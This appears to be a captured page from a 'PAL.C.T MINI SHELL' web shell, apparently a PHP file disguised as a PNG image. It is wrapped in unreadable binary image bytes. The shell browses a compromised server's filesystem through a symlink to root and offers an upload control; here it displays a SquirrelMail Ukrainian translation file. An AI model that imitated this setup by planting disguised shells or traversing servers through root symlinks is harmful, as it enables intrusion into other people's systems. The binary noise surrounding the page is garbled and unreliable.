php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /var/www/html/sub/images/sym/root/usr/share/squirrelmail/locale/uk_UA/LC_MESSAGES/
upload
files >> /var/www/html/sub/images/sym/root/usr/share/squirrelmail/locale/uk_UA/LC_MESSAGES/mini.po

# LANGUAGE (uk_UA) mini Translation (SquirrelMail plugin)
# Copyright (c) 1999-2009 The SquirrelMail Project Team
# This file is distributed under the same license as the SquirrelMail package.
# Serhij Dubyk <dubyk@library.lviv.ua>, 2006.
# $Id: mini.po 13696 2009-05-14 06:27:08Z jervfors $
msgid ""
msgstr ""
"Project-Id-Version: Mini\n"
"POT-Creation-Date: \n"
"PO-Revision-Date: 2006-06-19 17:50+0200\n"
"Last-Translator: Сергій Дубик <dubyk@library.lviv.ua>\n"
"Language-Team: \n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=utf-8\n"
"Content-Transfer-Encoding: 8bit\n"
"X-Poedit-Language: Ukrainian\n"
"X-Poedit-Country: UKRAINE\n"
"X-Poedit-SourceCharset: utf-8\n"
"Plural-Forms: nplurals=3; plural=(n%10==1 && n%100!=11 ? 0 : n%10>=2 && n%10<=4 && (n%100<10 || n%100>=20) ? 1 : 2);\n"

#: functions.php:34
msgid "mini window"
msgstr "віконце"

#. *
#. * FIXME: try html page header functions.
#. * html goodness
#.
#: functions.php:49
#: mini.php:85
#: mini.php:96
msgid "Mini SquirrelMail"
msgstr "Маленька Білочка"

#: functions.php:53
msgid "Window width (in pixels)"
msgstr "Ширина вікна (у пікселях)"

#: functions.php:60
msgid "Window height (in pixels)"
msgstr "Висота вікна (у пікселях)"

#: functions.php:67
msgid "never"
msgstr "ніколи"

#: functions.php:70
#, c-format
msgid "%s second"
msgid_plural "%s seconds"
msgstr[0] "%s секунда"
msgstr[1] "%s секунди"
msgstr[2] "%s секунд"

#: functions.php:73
#, c-format
msgid "%s minute"
msgid_plural "%s minutes"
msgstr[0] "%s хвилина"
msgstr[1] "%s хвилини"
msgstr[2] "%s хвилин"

#: functions.php:79
msgid "Window refresh time"
msgstr "Час оновлення вікна"

#: functions.php:87
msgid "Window text size"
msgstr "Розмір тексту у вікні"

#: functions.php:90
msgid "Very small"
msgstr "дуже малий"

#: functions.php:91
msgid "Small"
msgstr "малий"

#: functions.php:92
msgid "Normal"
msgstr "нормальний"

#: functions.php:162
msgid "This message has additional parts. Please use the main SquirrelMail interface to open them"
msgstr "Цей лист має додаткові частини. Будь-ласка, щоб відкрити їх,  використайте головний інтерфейс білки-поштаря (SquirrelMail)"

#: functions.php:166
#: functions.php:178
msgid "Could not find a text part. Please use the main SquirrelMail window to read this message"
msgstr "Не вдалося знайти текстову частину. Будь-ласка, щоб прочитати цей лист, використайте головне вікно білки-поштаря (SquirrelMail)"

#: functions.php:296
#: mini.php:121
msgid "No subject"
msgstr "Немає теми"

#: functions.php:304
#: functions.php:305
#: mini.php:126
msgid "No sender"
msgstr "Немає відправника"

#: mini.php:75
#: mini.php:135
msgid "Back"
msgstr "Назад"

#: mini.php:78
msgid "Refresh"
msgstr "Оновити"

#: mini.php:129
#: mini.php:170
msgid "Subject"
msgstr "Тема"

#: mini.php:130
#: mini.php:172
msgid "From"
msgstr "Від"

#: mini.php:137
msgid "Keep as new"
msgstr "Зберігати як нове"

#. finish all the tables.
#: mini.php:144
msgid "Folder"
msgstr "Тека"

#: mini.php:146
msgid "New Mail"
msgstr "Нова пошта"

#: mini.php:156
msgid "INBOX"
msgstr "ВХІДНІ"

#: mini.php:189
msgid "No New Messages"
msgstr "Немає нових листів"

#: mini.php:205
msgid "Close"
msgstr "Закрити"

y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`